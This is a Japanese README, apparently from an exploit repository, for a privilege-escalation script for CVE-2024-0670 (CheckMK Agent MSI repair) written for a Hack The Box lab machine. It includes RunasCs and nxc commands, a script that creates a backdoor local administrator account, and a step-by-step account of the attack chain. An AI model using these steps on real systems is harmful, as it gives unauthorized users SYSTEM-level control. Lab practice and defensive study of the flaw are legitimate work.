CVE-2024-0670 - CheckMK Agent MSI 修復の特権昇格 (NanoCorp HTB)

このリポジトリには、Hack The Box の NanoCorp マシン上で CVE-2024-0670 を悪用するために使用される PowerShell スクリプトが含まれています。この脆弱性により、低権限のユーザーが CheckMK Windows Agent の MSI 修復機能を悪用し、SYSTEM 権限で任意のコマンドを実行できるようになります。

注記: このエクスプロイトは NanoCorp Hack The Box マシン用に開発されたものであり、他の環境で使用する前に修正が必要になる場合があります。

免責事項: このリポジトリは教育目的および許可されたセキュリティテストのみを目的として提供されています。自身が所有するシステム、またはテストの明示的な許可を得たシステムでのみ使用してください。

使用方法

前提条件

• RunasCs.exe (別のユーザーとしてコマンドを実行するために使用)

クイックスタート

1. RunasCs.exe をアップロードします — web_svc ユーザーとしてエクスプロイトを実行するために必要です。

2. web_svc ユーザーとしてスクリプトを実行します:

   root@kitploit:~

   .\RunasCs.exe "web_svc" "YourWebSvcPassword" "powershell -ExecutionPolicy Bypass -File C:\ProgramData\CVE-2024-0670-NanoCorp.ps1"
   

3. MSI 修復プロセスが完了するまで待ちます。これには数分かかる場合があります。

4. 完了すると、スクリプトは新しく作成されたローカル管理者アカウントの認証情報を出力します:

   root@kitploit:~

   A new User added as administrator with the following credentials: dfdxarjy Password123@
   

5. 特権昇格が成功したことを確認します:

   root@kitploit:~

   nxc smb nanocorp.htb -u "dfdxarjy" -p "Password123@" -k
   

   期待される出力:

   root@kitploit:~

   [+] nanocorp.htb\dfdxarjy:Password123@ (Pwn3d!)
   

---

説明

この脆弱性により、低権限のユーザー (web_svc など) が CheckMK Agent によって使用される Windows Installer の修復機能を悪用して、NT AUTHORITY\SYSTEM へ特権を昇格させることができます。

スクリプトは以下のアクションを実行します:

1. ターゲットシステム上にインストールされている CheckMK MSI パッケージを特定します。
2. ローカルユーザーアカウントを作成するコマンドを含むバッチファイルを C:\Windows\Temp に書き込みます。
3. msiexec /fa を使用して MSI パッケージの修復をトリガーします。
4. 修復プロセスが SYSTEM 権限でバッチファイルを実行します。
5. バッチファイルは、ユーザーをローカルの Administrators グループに追加することで、ローカル管理者アカウントを作成します。
6. 実行後に一時ファイルが削除されます。

---

参考資料

• CVE-2024-0670
• CheckMK Windows Agent MSI Repair Privilege Escalation